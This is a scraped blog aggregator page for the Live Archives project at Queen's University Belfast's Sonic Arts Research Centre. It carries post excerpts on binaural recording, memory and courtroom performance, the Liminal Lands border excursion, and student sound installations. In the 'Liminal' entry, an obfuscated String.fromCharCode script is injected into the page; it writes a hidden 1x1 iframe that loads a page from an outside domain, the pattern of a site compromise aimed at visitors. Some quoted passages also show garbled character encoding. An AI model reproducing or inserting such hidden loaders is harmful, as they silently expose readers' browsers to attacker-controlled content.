Live Archives

it appears that the livearchives site has been substantially altered. i don’t have time at the moment to investigate. this may be the beginning of this pilot project’s slow deterioration.

Binaural microphones are microphones either mounted in a dummy head or worn in the recordist’s ears like earphones.  They allow for the capture of the spatial cues we use to determine the position of sounds around us.  When binaural recordings are played over headphones the sounds are externalised - that is, perceived (More...)

The use of the binaural microphones highlighted the role that documentation plays in forming (More...)

This is the title of a song from Cats, however it is also something that has inspired discussions. I’m confused following all the links to other posts with tidbits about memory in them, so I’ve collected them all together: Exerpt from Live Archives Workshops Day4 Paul Craddock: the court scenario being the focus rather than the issue that was being dealt with post from cpugh: I think that the focus on the courtroom correlates with the focus on documentation of ephemeral events. The performance in the courtroom became more important than the event that was being investigated. The performance in the written article becomes more important than the ephemeral event being reviewed. barry: Representation is a tricky issue in the judicial context, too. Law enforcement agencies only enact reconstructions of events (as one of the courtroom presentations did) in order to jog potential witnesses’ memories of events; that is, to produce people as witnesses for the purposes of the investigative and judicial processes. For the agents of the law, the event as experienced in time and space is only there to enable the secondary form of event that is the investigation and (possible) trial. As Paul said, the courtroom is one of the only places in our society where spoken language — testimony — is given priority over more mediated forms of language such as video links and written statements. The documentation that matters in the courtroom is not so much the evidence presented but the documentation of the proceedings themselves: tape recordings of interviews, stenographers’ transcripts, judges’ summings-up. Distinct from the French model, where the court is an instrument of investigation, the British and American courtroom is a temple of guilt in which an accusatory ritual is played out whose ultimate purpose is to publicly reveal that which is, in our society, most private: memory. The court is not so much a space in which the truth of events are reconstructed as a theatre of memory. The court is also, incidentally, a place to demonstrate the performative efficacy of language. A performative utterance, in linguistics, is one that does something rather than simply stating it. Courts are full of them: “The court is now in sessionâ€?; “I promise to tell the truthâ€?;â€?Court is dismissed/adjournedâ€?; “We find the defendant guilty/not guiltyâ€?; “I sentence you to…â€? The jury’s finding of guilt or innocence, and the judge’s sentence, are examples of such: it is by the act of pronouncing sentence that the judge condemns the accused to their fate, a fate that is always referred to as a sentence, to emphasise the sovereignty of language over the individual. cpugh: I wonder how private my memory is, if I share so many memories with others? I really enjoyed converging childhood images of Labyrinth with a LAW-goer in the pub (can’t remember who it was now…), and that seems like a shared cultural memory that many people my age from the UK/USA might have. Also, if it can be demanded in a court, is my memory my own? barry: Exactly! Memories really aren’t so private, are they? They’re a sort of special category of feeling or opinion: opinions about the past; and there’s nothing more socially or culturally overdetermined than an opinion. I think I was trying to get at something similar with my comment on Emily’s post. (More...)

Paul gave us notepads and told us to use them for documenting things. This is how i remember the first speech because i spent the whole time trying to remember how to make a flipbook. (More...)

Liminal document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Liminal Lands is an interdisciplinary project for MA and PHD students affiliated with the Sonic Arts Research Centre, Film Studies, the Centre for International Borders Research and the Interdisciplinary Arts MA at Queen’s University Belfast, as well as the School of Art and Design at University of Ulster. The focus of the project will be the border between the Republic of Ireland and Northern Ireland. The project will be lead by Michael Mayhew working in collaboration with Paul Stapleton, with support from a variety of artists and academics who have an interest in this particular border and/or borders in general. In the beginning… Liminal Lands is an excursion. We’d like you to come with us…   We’d like you to travel out of Belfast and meet us on a beach where we will be waiting for you standing by a fire. This fire will be set within a threshold, a fire set within an invisible line, a demarcation, a mark on a map, a dividing line, it is somewhere yet nowhere.   We are interested in an investigation not into what exists on either side of these borders that slice across landscapes defining place and people, nationality and language, economics and identity, culture and our thinking and so our praxis will exist in living and experiencing within what we have called ‘Liminal Lands’.   This is a threshold, a non-identifiable location where we desire to search, listen, see, feel and witness the conceptual evolve from within a non-place set between two politically identifiable locations.   We will meet in the northeast of the country and travel back along the border stopping at a series of locations in order to gather and collect material.   We will work in collaboration with the skills and knowledge we have within the group, gathering and collecting material that will go towards a presentation created specifically for the Sonic Arts Research Centre’s Sonic Lab. This presentation will intertwine multiple perspectives on the social, tactile, sonic and visual experiences of traversing this site and the issues it projects upon us. (More...)

Ground Me! is an interactive sound installation that was held in the Sonic Lab of the Sonic Arts Research Centre (SARC) at Queen’s University Belfast on May 19, 2008. The installation addressed three main topics of interest to me: site-specific art installations, body impedance as a form of sound generation and people’s behavior when asked to interact with electrical objects and with other human beings. You can see some photos or videos of the installation. Thanks to all the people who attended and specially to María Ponce for her help during the set-up and Chris Chong for some really cool pics. (More...)

Experimental Sound Design for Audiovisual Media 20.May.2008 1st meeting with the producer and editor at house 11. 30.May.2008 2nd meeting with the producer Ian Shearer 2.June.2008 Recording Pre-Production Arranging the instruments with Paul Stapleton Preparing the studio/sonic lab Ezequiel G. Borges started the drum programming 3.June.2008 First Recording Session at SARC First Live Recording Session at the Sonic Lab The Intruder Ensamble: Conducted by - Adam Scott Neal 1st violine (leader) - Bertram Knappitsch 2nd violine, gong - Carey Dodge viola, harp - Ezequiel G. Borges percussion - Christopher Chong solo piano performance - Adam Scott Neal Thank you guys - It was an amazing performance! 4.June.2008 Post-Production Mixing session at the Control Room Meeting with Ian 5.June.2008 Post-Production and Recording Mixing session at the Control Room Recording of the ‘Keller Killer’   (More...)

As a part of a module for the MA in Sonic Arts we’re making art/music installations and as part of the documentation for it is a selection of videos and pictures on my MajorC Blog and here is the latest video of its progress. It’s ‘installed’ currently in my lab at the Sonic Arts Research Centre but if you’d like to see it in action it will be in place on Wed. May 21st at the Enterprise Room in the SU at Queen’s Uni Belfast. ————————————— Christopher Chong MajorC blog - http://majorc.wordpress.com MajorC website - http://www.MajorC.co.uk ————————————— (More...)